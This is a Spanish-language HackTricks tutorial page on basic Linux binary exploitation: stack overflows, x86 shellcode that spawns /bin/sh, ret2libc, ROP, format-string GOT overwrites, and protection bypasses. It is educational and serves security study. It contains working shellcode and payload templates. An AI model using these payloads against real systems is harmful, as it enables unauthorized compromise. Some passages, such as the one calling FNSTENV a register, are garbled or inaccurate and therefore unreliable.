.. | ||
rop-leaking-libc-address | ||
bypassing-canary-and-pie.md | ||
format-strings-template.md | ||
fusion.md | ||
README.md | ||
ret2lib.md | ||
rop-syscall-execv.md |
Linux Exploiting (Básico)
Linux Exploiting (Básico)
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- ¿Trabajas en una empresa de ciberseguridad? ¿Quieres ver tu empresa anunciada en HackTricks? ¿O quieres tener acceso a la última versión de PEASS o descargar HackTricks en PDF? ¡Consulta los PLANES DE SUSCRIPCIÓN!
- Descubre The PEASS Family, nuestra colección exclusiva de NFTs
- Obtén el merchandising oficial de PEASS y HackTricks
- Únete al 💬 grupo de Discord o al grupo de Telegram o sígueme en Twitter 🐦@carlospolopm.
- Comparte tus trucos de hacking enviando PRs al repositorio de hacktricks y al repositorio de hacktricks-cloud.
ASLR
Aleatorización de direcciones
Desactivar aleatorización (ASLR) GLOBAL (root):
echo 0 > /proc/sys/kernel/randomize_va_space
Reactivar aleatorización GLOBAL: echo 2 > /proc/sys/kernel/randomize_va_space
Desactivar para una ejecución (no requiere root):
setarch `arch` -R ./ejemplo argumentos
setarch `uname -m` -R ./ejemplo argumentos
Desactivar protección de ejecución en pila
gcc -fno-stack-protector -D_FORTIFY_SOURCE=0 -z norelro -z execstack ejemplo.c -o ejemplo
Core file
ulimit -c unlimited
gdb /exec core_file
/etc/security/limits.conf -> * soft core unlimited
Text
Data
BSS
Heap
Stack
Sección BSS: Variables globales o estáticas sin inicializar
static int i;
Sección DATA: Variables globales o estáticas inicializadas
En esta sección, discutiremos sobre las variables globales o estáticas inicializadas en el contexto de la explotación de Linux.
Cuando se compila un programa en Linux, se asigna un área de memoria llamada sección DATA para almacenar variables globales y estáticas inicializadas. Estas variables se inicializan con valores específicos antes de que el programa se ejecute.
Las variables globales son aquellas que se declaran fuera de cualquier función y están disponibles en todo el programa. Por otro lado, las variables estáticas son aquellas que se declaran dentro de una función pero conservan su valor entre llamadas a la función.
Estas variables pueden ser explotadas en el contexto de la explotación de Linux para lograr ejecución de código arbitrario o para obtener información sensible. Por ejemplo, si una variable global almacena una contraseña o una clave de cifrado, un atacante podría intentar filtrar esta información mediante una vulnerabilidad de desbordamiento de búfer.
Es importante tener en cuenta que la explotación de variables globales o estáticas inicializadas requiere un conocimiento profundo de la estructura de memoria del programa y de las técnicas de explotación específicas. Además, es fundamental comprender las implicaciones legales y éticas de cualquier actividad de hacking.
int i = 5;
1. DESBORDAMIENTO DE PILA
desbordamiento de búfer, desbordamiento de pila, desbordamiento de pila, aplastamiento de pila
Violación de segmento: cuando se intenta acceder a una dirección de memoria que no ha sido asignada al proceso.
Para obtener la dirección de una función dentro de un programa, se puede hacer lo siguiente:
objdump -d ./PROGRAMA | grep FUNCION
ROP
Llamada a sys_execve
{% content-ref url="rop-syscall-execv.md" %} rop-syscall-execv.md {% endcontent-ref %}
2.SHELLCODE
View kernel interrupts: cat /usr/include/i386-linux-gnu/asm/unistd_32.h | grep "__NR_"
setreuid(0,0); // __NR_setreuid 70
execve("/bin/sh", args[], NULL); // __NR_execve 11
exit(0); // __NR_exit 1
xor eax, eax ; clear eax
xor ebx, ebx ; ebx = 0 since there are no arguments to pass
mov al, 0x01 ; eax = 1 —> __NR_exit 1
int 0x80 ; Execute syscall
nasm -f elf assembly.asm —> Returns a .o file
ld assembly.o -o shellcodeout —> Gives us an executable formed by the assembly code and we can extract the opcodes with objdump
objdump -d -Mintel ./shellcodeout —> To verify that it is indeed our shellcode and extract the OpCodes
Verify that the shellcode works
char shellcode[] = “\x31\xc0\x31\xdb\xb0\x01\xcd\x80”
void main(){
void (*fp) (void);
fp = (void *)shellcode;
fp();
}<span id="mce_marker" data-mce-type="bookmark" data-mce-fragment="1"></span>
Para confirmar que las llamadas al sistema se realizan correctamente, debes compilar el programa anterior y verificar las llamadas del sistema utilizando strace ./PROGRAMA_COMPILADO.
Cuando se trata de crear shellcodes, puedes utilizar un truco. La primera instrucción es un salto a una llamada. La llamada ejecuta el código original y también coloca el EIP en la pila. Después de la instrucción de llamada, hemos insertado la cadena que necesitamos, por lo que con ese EIP podemos apuntar a la cadena y continuar ejecutando el código.
EJ TRUCO (/bin/sh):
jmp 0x1f ; Salto al último call
popl %esi ; Guardamos en ese la dirección al string
movl %esi, 0x8(%esi) ; Concatenar dos veces el string (en este caso /bin/sh)
xorl %eax, %eax ; eax = NULL
movb %eax, 0x7(%esi) ; Ponemos un NULL al final del primer /bin/sh
movl %eax, 0xc(%esi) ; Ponemos un NULL al final del segundo /bin/sh
movl $0xb, %eax ; Syscall 11
movl %esi, %ebx ; arg1=“/bin/sh”
leal 0x8(%esi), %ecx ; arg[2] = {“/bin/sh”, “0”}
leal 0xc(%esi), %edx ; arg3 = NULL
int $0x80 ; excve(“/bin/sh”, [“/bin/sh”, NULL], NULL)
xorl %ebx, %ebx ; ebx = NULL
movl %ebx, %eax
inc %eax ; Syscall 1
int $0x80 ; exit(0)
call -0x24 ; Salto a la primera instrución
.string \”/bin/sh\” ; String a usar<span id="mce_marker" data-mce-type="bookmark" data-mce-fragment="1"></span>
Exploiting básico de Linux - Ejecución de código usando el Stack (/bin/sh):
En este ejercicio, aprenderemos cómo explotar una vulnerabilidad de desbordamiento de búfer en un programa de Linux para ejecutar nuestro propio código. Utilizaremos el shell de sistema (/bin/sh) como ejemplo.
El objetivo de este ejercicio es obtener una shell interactiva en el sistema objetivo. Para lograr esto, necesitaremos encontrar una vulnerabilidad de desbordamiento de búfer en el programa objetivo y aprovecharla para sobrescribir la dirección de retorno de la pila con la dirección de la función system()
y el argumento /bin/sh
.
El programa objetivo es un binario de Linux que toma una entrada del usuario y la copia en un búfer sin realizar ninguna verificación de límites. Esto nos permite sobrescribir la dirección de retorno de la pila y controlar la ejecución del programa.
Para explotar esta vulnerabilidad, necesitaremos encontrar la dirección de la función system()
y la cadena /bin/sh
en la memoria del programa. Podemos hacer esto utilizando técnicas de ingeniería inversa o mediante el uso de herramientas como gdb
.
Una vez que tengamos estas direcciones, podemos construir nuestro payload para sobrescribir la dirección de retorno de la pila con la dirección de system()
y el argumento /bin/sh
. Al ejecutar el programa objetivo con nuestro payload, se llamará a la función system()
con /bin/sh
como argumento, lo que nos dará una shell interactiva en el sistema objetivo.
Recuerda que este ejercicio es solo con fines educativos y debe realizarse en un entorno controlado y con el permiso del propietario del sistema. El uso indebido de estas técnicas puede ser ilegal y está sujeto a sanciones legales.
section .text
global _start
_start:
xor eax, eax ;Limpieza
mov al, 0x46 ; Syscall 70
xor ebx, ebx ; arg1 = 0
xor ecx, ecx ; arg2 = 0
int 0x80 ; setreuid(0,0)
xor eax, eax ; eax = 0
push eax ; “\0”
push dword 0x68732f2f ; “//sh”
push dword 0x6e69622f; “/bin”
mov ebx, esp ; arg1 = “/bin//sh\0”
push eax ; Null -> args[1]
push ebx ; “/bin/sh\0” -> args[0]
mov ecx, esp ; arg2 = args[]
mov al, 0x0b ; Syscall 11
int 0x80 ; excve(“/bin/sh”, args[“/bin/sh”, “NULL”], NULL)
EJ FNSTENV:
El registro FNSTENV es un registro de control utilizado en la arquitectura x86 para almacenar el estado del punto flotante y los registros de control. Este registro es importante en el contexto de la explotación de vulnerabilidades en sistemas Linux.
Cuando se explota una vulnerabilidad en un programa, a menudo se busca ejecutar código arbitrario en el sistema objetivo. Sin embargo, para lograr esto, es necesario controlar el flujo de ejecución del programa y redirigirlo a nuestro código malicioso.
Una técnica comúnmente utilizada para lograr esto es la explotación de desbordamientos de búfer. En este tipo de vulnerabilidad, se permite que se escriba más allá de los límites de un búfer, lo que puede llevar a la corrupción de datos y a la ejecución de código arbitrario.
En el caso de la explotación de desbordamientos de búfer en sistemas Linux, a menudo se utiliza el registro FNSTENV para lograr el control del flujo de ejecución. Este registro almacena el estado del punto flotante y los registros de control, incluyendo el puntero de instrucción (EIP) que indica la próxima instrucción a ejecutar.
Al sobrescribir el contenido del registro FNSTENV con una dirección de memoria controlada por el atacante, es posible redirigir el flujo de ejecución del programa a nuestro código malicioso. Esto nos permite ejecutar instrucciones arbitrarias y tomar el control del sistema objetivo.
Es importante destacar que la explotación de desbordamientos de búfer y el uso del registro FNSTENV para controlar el flujo de ejecución son técnicas avanzadas y requieren un profundo conocimiento de la arquitectura x86 y de la programación de sistemas. Estas técnicas se utilizan comúnmente en el contexto de la seguridad informática y las pruebas de penetración para identificar y corregir vulnerabilidades en sistemas Linux.
fabs
fnstenv [esp-0x0c]
pop eax ; Guarda el EIP en el que se ejecutó fabs
…
Egg Hunter:
Este es un pequeño código que busca la shellcode almacenada en las páginas de memoria asociadas a un proceso (busca una firma específica en la shellcode). Es útil cuando solo se dispone de un espacio reducido para inyectar código.
Shellcodes polimórficos
Estos son shells cifrados que contienen un pequeño código para descifrarlos y saltar a él, utilizando el truco de Call-Pop. Aquí hay un ejemplo de cifrado César:
global _start
_start:
jmp short magic
init:
pop esi
xor ecx, ecx
mov cl,0 ; Hay que sustituir el 0 por la longitud del shellcode (es lo que recorrerá)
desc:
sub byte[esi + ecx -1], 0 ; Hay que sustituir el 0 por la cantidad de bytes a restar (cifrado cesar)
sub cl, 1
jnz desc
jmp short sc
magic:
call init
sc:
;Aquí va el shellcode
- Attacking the Frame Pointer (EBP)
Useful in a situation where we can modify the EBP but not the EIP.
It is known that when exiting a function, the following assembly code is executed:
movl %ebp, %esp
popl %ebp
ret
De esta manera, es posible modificar el EBP al salir de una función (fvuln) que ha sido llamada por otra función, lo que permite modificar el EIP al finalizar la función que llamó a fvuln.
En fvuln, se puede introducir un EBP falso que apunte a una ubicación donde se encuentre la dirección de la shellcode + 4 (se suma 4 por el pop). De esta manera, al salir de la función, el valor de &(&Shellcode)+4 se colocará en ESP, y con el pop se restará 4 a ESP, apuntando así a la dirección de la shellcode cuando se ejecute el ret.
Exploit:
&Shellcode + "AAAA" + SHELLCODE + relleno + &(&Shellcode)+4
Exploit Off-by-One:
Solo se puede modificar el byte menos significativo del EBP. Se puede realizar un ataque similar al anterior, pero la memoria que almacena la dirección de la shellcode debe compartir los 3 primeros bytes con el EBP.
4. Métodos return to Libc
Este método es útil cuando el stack no es ejecutable o cuando hay un buffer muy pequeño para modificar.
El ASLR hace que en cada ejecución las funciones se carguen en diferentes posiciones de la memoria. Por lo tanto, este método puede no ser efectivo en ese caso. Sin embargo, para servidores remotos, donde el programa se ejecuta constantemente en la misma dirección, puede ser útil.
- cdecl (C declaration): Coloca los argumentos en el stack y limpia la pila después de salir de la función.
- stdcall (standard call): Coloca los argumentos en el stack y es la función llamada la que limpia la pila.
- fastcall: Coloca los dos primeros argumentos en registros y el resto en el stack.
Se coloca la dirección de la instrucción system de libc y se pasa como argumento el string "/bin/sh", generalmente desde una variable de entorno. Además, se utiliza la dirección de la función exit para que, una vez que no se necesite más la shell, el programa salga sin problemas (y sin escribir logs).
export SHELL=/bin/sh
Para encontrar las direcciones que necesitaremos, podemos mirar dentro de GDB:
p system
p exit
rabin2 -i ejecutable —> Muestra la dirección de todas las funciones utilizadas por el programa al cargarse
(Dentro de un start o algún breakpoint): x/500s $esp —> Buscamos aquí el string /bin/sh
Una vez que tengamos estas direcciones, el exploit quedaría así:
"A" * DISTANCIA EBP + 4 (EBP: pueden ser 4 "A"s, aunque es mejor si es el EBP real para evitar fallos de segmentación) + Dirección de system (sobrescribirá el EIP) + Dirección de exit (al salir de system("/bin/sh"), se llamará a esta función, ya que los primeros 4 bytes del stack se tratan como la siguiente dirección del EIP a ejecutar) + Dirección de "/bin/sh" (será el parámetro pasado a system)
De esta manera, el EIP se sobrescribirá con la dirección de system, que recibirá como parámetro el string "/bin/sh", y al salir de esta función se ejecutará la función exit().
Es posible encontrarse en la situación de que algún byte de alguna dirección de alguna función sea nulo o espacio (\x20). En ese caso, se pueden desensamblar las direcciones anteriores a dicha función, ya que probablemente haya varios NOPs que nos permitan llamar a alguno de ellos en lugar de llamar directamente a la función (por ejemplo, con > x/8i system-4).
Este método funciona porque al llamar a una función como system usando el opcode ret en lugar de call, la función entiende que los primeros 4 bytes serán la dirección EIP a la que volver.
Una técnica interesante con este método es llamar a strncpy() para mover un payload del stack al heap y luego usar gets() para ejecutar dicho payload.
Otra técnica interesante es el uso de mprotect(), que permite asignar los permisos deseados a cualquier parte de la memoria. Funciona o funcionaba en BDS, MacOS y OpenBSD, pero no en Linux (controla que no se puedan otorgar permisos de escritura y ejecución al mismo tiempo). Con este ataque, se podría volver a configurar el stack como ejecutable.
Encadenamiento de funciones
Basándonos en la técnica anterior, esta forma de exploit consiste en:
Relleno + &Función1 + &pop;ret; + &arg_fun1 + &Función2 + &pop;ret; + &arg_fun2 + ...
De esta manera, se pueden encadenar funciones a las que llamar. Además, si se desean utilizar funciones con varios argumentos, se pueden colocar los argumentos necesarios (por ejemplo, 4) y buscar una dirección con opcodes: pop, pop, pop, pop, ret —> objdump -d ejecutable
Encadenamiento mediante falsificación de frames (encadenamiento de EBPs)
Consiste en aprovechar la capacidad de manipular el EBP para encadenar la ejecución de varias funciones a través del EBP y de "leave;ret".
RELLENO
- Se coloca un EBP falso en el EBP que apunta a: 2º EBP_falso + la función a ejecutar: (&system() + &leave;ret + &"/bin/sh")
- En el EIP se coloca la dirección de una función &(leave;ret)
Se inicia la shellcode con la dirección de la siguiente parte de la shellcode, por ejemplo: 2ºEBP_falso + &system() + &(leave;ret;) + &"/bin/sh"
El 2ºEBP sería: 3ºEBP_falso + &system() + &(leave;ret;) + &"/bin/ls"
Esta shellcode se puede repetir indefinidamente en las partes de memoria a las que se tenga acceso, de manera que se obtendrá una shellcode fácilmente divisible en pequeños trozos de memoria.
(Se encadena la ejecución de funciones mezclando las vulnerabilidades vistas anteriormente de EBP y de ret2lib)
5. Métodos complementarios
Ret2Ret
Este método es útil cuando no se puede insertar una dirección del stack en el EIP (se verifica que el EIP no contenga 0xbf) o cuando no se puede calcular la ubicación de la shellcode. Sin embargo, la función vulnerable acepta un parámetro (aquí se colocará la shellcode).
De esta manera, al cambiar el EIP por una dirección de ret, se cargará la siguiente dirección (que es la dirección del primer argumento de la función). Es decir, se cargará la shellcode.
El exploit quedaría así: SHELLCODE + Relleno (hasta EIP) + &ret (los siguientes bytes de la pila apuntan al inicio de la shellcode, ya que se coloca en el stack la dirección del parámetro pasado).
Al parecer, funciones como strncpy eliminan la dirección donde se guardaba la shellcode de la pila una vez que se completan, lo que imposibilita esta técnica. Es decir, la dirección que se pasa a la función como argumento (la que guarda la shellcode) se modifica por un 0x00, por lo que al llamar al segundo ret, se encuentra con un 0x00 y el programa se detiene.
**Ret2PopRet**
Si no tenemos control sobre el primer argumento pero sí sobre el segundo o el tercero, podemos sobreescribir EIP con una dirección a pop-ret o pop-pop-ret, según la que necesitemos.
Técnica de Murat
En Linux, todos los programas se mapean comenzando en 0xbfffffff.
Viendo cómo se construye la pila de un nuevo proceso en Linux, se puede desarrollar un exploit de forma que el programa sea arrancado en un entorno cuya única variable sea la shellcode. La dirección de esta entonces se puede calcular como: addr = 0xbfffffff - 4 - strlen(NOMBRE_ejecutable_completo) - strlen(shellcode)
De esta forma se obtendría de forma sencilla la dirección donde está la variable de entorno con la shellcode.
Esto se puede hacer gracias a que la función execle permite crear un entorno que solo tenga las variables de entorno que se deseen.
Jump to ESP: Windows Style
Debido a que el ESP está apuntando al comienzo del stack siempre, esta técnica consiste en sustituir el EIP con la dirección a una llamada a jmp esp o call esp. De esta forma, se guarda la shellcode después de la sobreescritura del EIP ya que después de ejecutar el ret el ESP se encontrará apuntando a la dirección siguiente, justo donde se ha guardado la shellcode.
En caso de que no se tenga el ASLR activo en Windows o Linux se puede llamar a jmp esp o call esp almacenadas en algún objeto compartido. En caso de que esté el ASLR, se podría buscar dentro del propio programa vulnerable.
Además, el hecho de poder colocar la shellcode después de la corrupción del EIP en vez de en medio del stack, permite que las instrucciones push o pop que se ejecuten en medio de la función no lleguen a tocar la shellcode (cosa que podría ocurrir en caso de ponerse en medio del stack de la función).
De forma muy similar a esto si sabemos que una función devuelve la dirección donde está guardada la shellcode se puede llamar a call eax o jmp eax (ret2eax).
ROP (Return Oriented Programming) o borrowed code chunks
Los trozos de código que se invocan se conocen como gadgets.
Esta técnica consiste en encadenar distintas llamadas a funciones mediante la técnica de ret2libc y el uso de pop,ret.
En algunas arquitecturas de procesadores cada instrucción es un conjunto de 32bits (MIPS por ej). Sin embargo, en Intel las instrucciones son de tamaño variable y varias instrucciones pueden compartir un conjunto de bits, por ejemplo:
movl $0xe4ff, -0x(%ebp) —> Contiene los bytes 0xffe4 que también se traducen por: jmp *%esp
De esta forma se pueden ejecutar algunas instrucciones que realmente ni siquiera están en el programa original.
ROPgadget.py nos ayuda a encontrar valores en binarios.
Este programa también sirve para crear los payloads. Le puedes dar la librería de la que quieres sacar los ROPs y él generará un payload en python al cual tú le das la dirección en la que está dicha librería y el payload ya está listo para ser usado como shellcode. Además, como usa llamadas al sistema no ejecuta realmente nada en el stack sino que solo va guardando direcciones de ROPs que se ejecutarán mediante ret. Para usar este payload hay que llamar al payload mediante una instrucción ret.
Integer overflows
Este tipo de overflows se producen cuando una variable no está preparada para soportar un número tan grande como se le pasa, posiblemente por una confusión entre variables con y sin signo, por ejemplo:
#include <stdion.h>
#include <string.h>
#include <stdlib.h>
int main(int argc, char *argv[]){
int len;
unsigned int l;
char buffer[256];
int i;
len = l = strtoul(argv[1], NULL, 10);
printf("\nL = %u\n", l);
printf("\nLEN = %d\n", len);
if (len >= 256){
printf("\nLongitus excesiva\n");
exit(1);
}
if(strlen(argv[2]) < l)
strcpy(buffer, argv[2]);
else
printf("\nIntento de hack\n");
return 0;
}
En el ejemplo anterior, vemos que el programa espera 2 parámetros. El primero es la longitud de la cadena siguiente y el segundo es la cadena en sí.
Si pasamos un número negativo como primer parámetro, se cumplirá la condición len < 256 y se pasará ese filtro. Además, strlen(buffer) será menor que l, ya que l es un unsigned int y será muy grande.
Este tipo de desbordamientos no busca escribir algo en el proceso del programa, sino superar filtros mal diseñados para explotar otras vulnerabilidades.
Variables no inicializadas
No se conoce el valor que puede tomar una variable no inicializada y podría ser interesante observarlo. Es posible que tome el valor que tenía una variable de la función anterior y que esta sea controlada por el atacante.
Format Strings
En C, printf
es una función que se puede utilizar para imprimir una cadena. El primer parámetro que espera esta función es el texto sin formato con los formateadores. Los parámetros siguientes esperados son los valores que se sustituirán en los formateadores del texto sin formato.
La vulnerabilidad aparece cuando un texto del atacante se coloca como primer argumento en esta función. El atacante podrá crear una entrada especial abusando de las capacidades de formato de la cadena de formato de printf para escribir cualquier dato en cualquier dirección. De esta manera, podrá ejecutar código arbitrario.
Formateadores:
%08x —> 8 hex bytes
%d —> Entire
%u —> Unsigned
%s —> String
%n —> Number of written bytes
%hn —> Occupies 2 bytes instead of 4
<n>$X —> Direct access, Example: ("%3$d", var1, var2, var3) —> Access to var3
%n
escribe el número de bytes escritos en la dirección indicada. Escribir** tantos bytes** como el número hexadecimal que necesitamos escribir es cómo podemos escribir cualquier dato.
AAAA%.6000d%4\$n —> Write 6004 in the address indicated by the 4º param
AAAA.%500\$08x —> Param at offset 500
GOT (Tabla de Desplazamientos Globales) / PLT (Tabla de Enlace de Procedimientos)
Esta es la tabla que contiene la dirección de las funciones externas utilizadas por el programa.
Obtén la dirección de esta tabla con: objdump -s -j .got ./exec
Observa cómo después de cargar el ejecutable en GEF puedes ver las funciones que están en el GOT: gef➤ x/20x 0xDIR_GOT
Usando GEF puedes iniciar una sesión de depuración y ejecutar got
para ver la tabla got:
En un binario, el GOT tiene las direcciones de las funciones o de la sección PLT que cargará la dirección de la función. El objetivo de esta explotación es sobrescribir la entrada GOT de una función que se ejecutará más adelante con la dirección de la PLT de la función system
. Idealmente, se sobrescribirá el GOT de una función que se llamará con parámetros controlados por ti (así podrás controlar los parámetros enviados a la función del sistema).
Si system
no se utiliza en el script, la función del sistema no tendrá una entrada en el GOT. En este escenario, necesitarás filtrar primero la dirección de la función system
.
La Tabla de Enlace de Procedimientos es una tabla de solo lectura en el archivo ELF que almacena todos los símbolos necesarios que necesitan una resolución. Cuando se llama a una de estas funciones, el GOT redirigirá el flujo a la PLT para que pueda resolver la dirección de la función y escribirla en el GOT.
Luego, la próxima vez que se realice una llamada a esa dirección, la función se llamará directamente sin necesidad de resolverla.
Puedes ver las direcciones de la PLT con objdump -j .plt -d ./vuln_binary
Flujo de Explotación
Como se explicó anteriormente, el objetivo será sobrescribir la dirección de una función en la tabla GOT que se llamará más adelante. Idealmente, podríamos establecer la dirección de un shellcode ubicado en una sección ejecutable, pero es muy probable que no puedas escribir un shellcode en una sección ejecutable.
Entonces, una opción diferente es sobrescribir una función que reciba sus argumentos del usuario y apuntarla a la función system
.
Para escribir la dirección, generalmente se realizan 2 pasos: primero se escriben 2 bytes de la dirección y luego los otros 2. Para hacerlo se utiliza $hn
.
HOB se refiere a los 2 bytes más altos de la dirección
LOB se refiere a los 2 bytes más bajos de la dirección
Entonces, debido a cómo funciona el formato de cadena, debes escribir primero el más pequeño de [HOB, LOB] y luego el otro.
Si HOB < LOB
[dirección+2][dirección]%.[HOB-8]x%[offset]\$hn%.[LOB-HOB]x%[offset+1]
Si HOB > LOB
[dirección+2][dirección]%.[LOB-8]x%[offset+1]\$hn%.[HOB-LOB]x%[offset]
HOB LOB HOB_shellcode-8 NºParam_dir_HOB LOB_shell-HOB_shell NºParam_dir_LOB
`python -c 'print "\x26\x97\x04\x08"+"\x24\x97\x04\x08"+ "%.49143x" + "%4$hn" + "%.15408x" + "%5$hn"'`
Plantilla de Explotación de Formato de Cadena
Puedes encontrar una plantilla para explotar el GOT utilizando format-strings aquí:
{% content-ref url="format-strings-template.md" %} format-strings-template.md {% endcontent-ref %}
.fini_array
Básicamente, esta es una estructura con funciones que se llamarán antes de que el programa finalice. Esto es interesante si puedes llamar a tu shellcode saltando a una dirección, o en casos en los que necesites volver a main nuevamente para explotar la cadena de formato una segunda vez.
objdump -s -j .fini_array ./greeting
./greeting: file format elf32-i386
Contents of section .fini_array:
8049934 a0850408
#Put your address in 0x8049934
Ten en cuenta que esto no creará un bucle eterno porque cuando regreses a la función principal, el canario se dará cuenta, el final de la pila podría estar corrompido y la función no se volverá a llamar. Por lo tanto, con esto podrás tener una ejecución adicional de la vulnerabilidad.
Format Strings para volcar contenido
Una cadena de formato también puede ser abusada para volcar contenido de la memoria del programa.
Por ejemplo, en la siguiente situación hay una variable local en la pila que apunta a una bandera. Si encuentras en qué dirección de memoria se encuentra el puntero a la bandera, puedes hacer que printf acceda a esa dirección e imprima la bandera:
Entonces, la bandera está en 0xffffcf4c
Y a partir de la fuga puedes ver que el puntero a la bandera está en el 8vo parámetro:
Entonces, accediendo al 8vo parámetro puedes obtener la bandera:
Ten en cuenta que siguiendo el exploit anterior y dándote cuenta de que puedes filtrar contenido, puedes establecer punteros a printf
en la sección donde se carga el ejecutable y volcarlo por completo.
DTOR
{% hint style="danger" %} Hoy en día es muy raro encontrar un binario con una sección dtor. {% endhint %}
Los destructores son funciones que se ejecutan antes de que el programa termine.
Si logras escribir una dirección a un shellcode en __DTOR_END__
, eso se ejecutará antes de que el programa termine.
Obtén la dirección de esta sección con:
objdump -s -j .dtors /exec
rabin -s /exec | grep “__DTOR”
Por lo general, encontrarás la sección DTOR entre los valores ffffffff
y 00000000
. Entonces, si solo ves esos valores, significa que no hay ninguna función registrada. Por lo tanto, sobrescribe el 00000000
con la dirección del shellcode para ejecutarlo.
Cadenas de formato para desbordamientos de búfer
La función sprintf mueve una cadena formateada a una variable. Por lo tanto, podrías abusar del formateo de una cadena para causar un desbordamiento de búfer en la variable donde se copia el contenido.
Por ejemplo, la carga útil %.44xAAAA
escribirá 44B+"AAAA" en la variable, lo que puede causar un desbordamiento de búfer.
Estructuras __atexit
{% hint style="danger" %} Hoy en día es muy raro explotar esto. {% endhint %}
atexit()
es una función a la que se le pasan otras funciones como parámetros. Estas funciones se ejecutarán al ejecutar un exit()
o al retorno de la función principal.
Si puedes modificar la dirección de alguna de estas funciones para que apunte a un shellcode, por ejemplo, obtendrás el control del proceso, pero esto es actualmente más complicado.
Actualmente, las direcciones de las funciones que se ejecutarán están ocultas detrás de varias estructuras y finalmente la dirección a la que apuntan no son las direcciones de las funciones, sino que están encriptadas con XOR y desplazamientos con una clave aleatoria. Por lo tanto, actualmente este vector de ataque no es muy útil, al menos en x86 y x64_86.
La función de encriptación es PTR_MANGLE
. Otras arquitecturas como m68k, mips32, mips64, aarch64, arm, hppa... no implementan la función de encriptación porque devuelven lo mismo que recibieron como entrada. Por lo tanto, estas arquitecturas serían atacables mediante este vector.
setjmp() y longjmp()
{% hint style="danger" %} Hoy en día es muy raro explotar esto. {% endhint %}
Setjmp()
permite guardar el contexto (los registros)
longjmp()
permite restaurar el contexto.
Los registros guardados son: EBX, ESI, EDI, ESP, EIP, EBP
Lo que sucede es que EIP y ESP son pasados por la función PTR_MANGLE
, por lo que las arquitecturas vulnerables a este ataque son las mismas que se mencionaron anteriormente.
Son útiles para la recuperación de errores o interrupciones.
Sin embargo, según lo que he leído, los otros registros no están protegidos, por lo que si hay una instrucción call ebx
, call esi
o call edi
dentro de la función que se llama, se puede tomar el control. También se podría modificar EBP para modificar ESP.
VTable y VPTR en C++
Cada clase tiene una Vtable, que es una matriz de punteros a métodos.
Cada objeto de una clase tiene un VPtr, que es un puntero a la matriz de su clase. El VPtr forma parte del encabezado de cada objeto, por lo que si se logra sobrescribir el VPtr, se puede modificar para que apunte a un método ficticio y así, al ejecutar una función, se llegue al shellcode.
Medidas preventivas y evasiones
ASLR no tan aleatorio
PaX divide el espacio de direcciones del proceso en 3 grupos:
Código y datos inicializados y no inicializados: .text, .data y .bss —> 16 bits de entropía en la variable delta_exec, esta variable se inicia aleatoriamente con cada proceso y se suma a las direcciones iniciales.
Memoria asignada por mmap() y bibliotecas compartidas —> 16 bits, delta_mmap.
El stack —> 24 bits, delta_stack —> En realidad, 11 (desde el byte 10º al 20º inclusive) —> alineado a 16 bytes —> 524.288 posibles direcciones reales del stack.
Las variables de entorno y los argumentos se desplazan menos que un búfer en el stack.
Return-into-printf
Es una técnica para convertir un desbordamiento de búfer en un error de cadena de formato. Consiste en reemplazar el EIP para que apunte a un printf de la función y pasarle como argumento una cadena de formato manipulada para obtener valores sobre el estado del proceso.
Ataque a bibliotecas
Las bibliotecas están en una posición con 16 bits de aleatoriedad = 65636 posibles direcciones. Si un servidor vulnerable llama a fork(), el espacio de direcciones de memoria se clona en el proceso hijo y se mantiene intacto. Por lo tanto, se puede intentar hacer un ataque de fuerza bruta a la función usleep() de libc pasándole como argumento "16", de modo que cuando tarde más de lo normal en responder, se habrá encontrado dicha función. Sabiendo dónde está dicha función, se puede obtener delta_mmap y calcular las demás.
La única forma de estar seguros de que el ASLR funciona es utilizando una arquitectura de 64 bits. Ahí no hay ataques de fuerza bruta.
StackGuard y StackShield
StackGuard inserta antes del EIP —> 0x000aff0d(null, \n, EndOfFile(EOF), \r) —> Siguen siendo vulnerables recv(), memcpy(), read(), bcoy() y no protege el EBP.
StackShield es más elaborado que StackGuard.
Guarda en una tabla (Global Return Stack) todas las direcciones EIP de vuelta para que el desbordamiento no cause ningún daño. Además, se pueden comparar ambas direcciones para ver si ha habido un desbordamiento.
También se puede comprobar la dirección de retorno con un valor límite, de modo que si el EIP se va a un lugar diferente al habitual, como el espacio de datos, se sabrá. Pero esto se puede sortear con Ret-to-lib, ROPs o ret2ret.
Como se puede ver, StackShield tampoco protege las variables locales.
Stack Smash Protector (ProPolice) -fstack-protector
Coloca el canary antes del EBP. Reordena las variables locales para que los búferes estén en las posiciones más altas y, de esta manera, no puedan sobrescribir otras variables.
Además, realiza una copia segura de los argumentos pasados encima de la pila (encima de las variables locales) y utiliza estas copias como argumentos.
No puede proteger matrices de menos de 8 elementos ni búferes que formen parte de una estructura del usuario.
El canary es un número aleatorio obtenido de "/dev/urandom" o, de lo contrario, es 0xff0a0000. Se almacena en TLS (Thread Local Storage). Los hilos comparten el mismo espacio de memoria, el TLS es un área que tiene variables globales o estáticas de cada hilo. Sin embargo, en principio, estas variables se copian del proceso padre, aunque el proceso hijo podría modificar estos datos sin modificar los del padre ni los de los demás hijos. El problema es que si se utiliza fork() pero no se crea un nuevo canary, entonces todos los procesos (padre e hijos) usan el mismo canary. En i386 se almacena en gs:0x14 y en x86_64 se almacena en fs:0x28.
Esta protección localiza funciones que tienen búferes que pueden ser atacados e incluye código al principio de la función para colocar el canary y código al final para comprobarlo. La función fork() realiza una copia exacta del proceso padre, por lo que si un servidor web llama a fork(), se puede realizar un ataque de fuerza bruta byte por byte para descubrir el canary que se está utilizando.
Si se utiliza la función execve() después de fork(), se sobrescribe el espacio y el ataque ya no es posible. vfork() permite ejecutar el proceso hijo sin crear una duplicación hasta que el proceso hijo intente escribir, momento en el cual se crea la duplicación.
Relocation Read-Only (RELRO)
Relro
Relro (Relocalización de solo lectura) afecta los permisos de memoria de manera similar a NX. La diferencia es que mientras que con NX se hace que la pila sea ejecutable, RELRO hace que ciertas cosas sean de solo lectura, por lo que no podemos escribir en ellas. La forma más común en la que esto se convierte en un obstáculo es al evitar que realicemos una sobrescritura de la tabla got
, que se explicará más adelante. La tabla got
contiene direcciones de funciones de libc para que el binario sepa cuáles son las direcciones y pueda llamarlas. Veamos cómo se ven los permisos de memoria para una entrada de la tabla got
en un binario con y sin relro.
Con relro:
gef➤ vmmap
Start End Offset Perm Path
0x0000555555554000 0x0000555555555000 0x0000000000000000 r-- /tmp/tryc
0x0000555555555000 0x0000555555556000 0x0000000000001000 r-x /tmp/tryc
0x0000555555556000 0x0000555555557000 0x0000000000002000 r-- /tmp/tryc
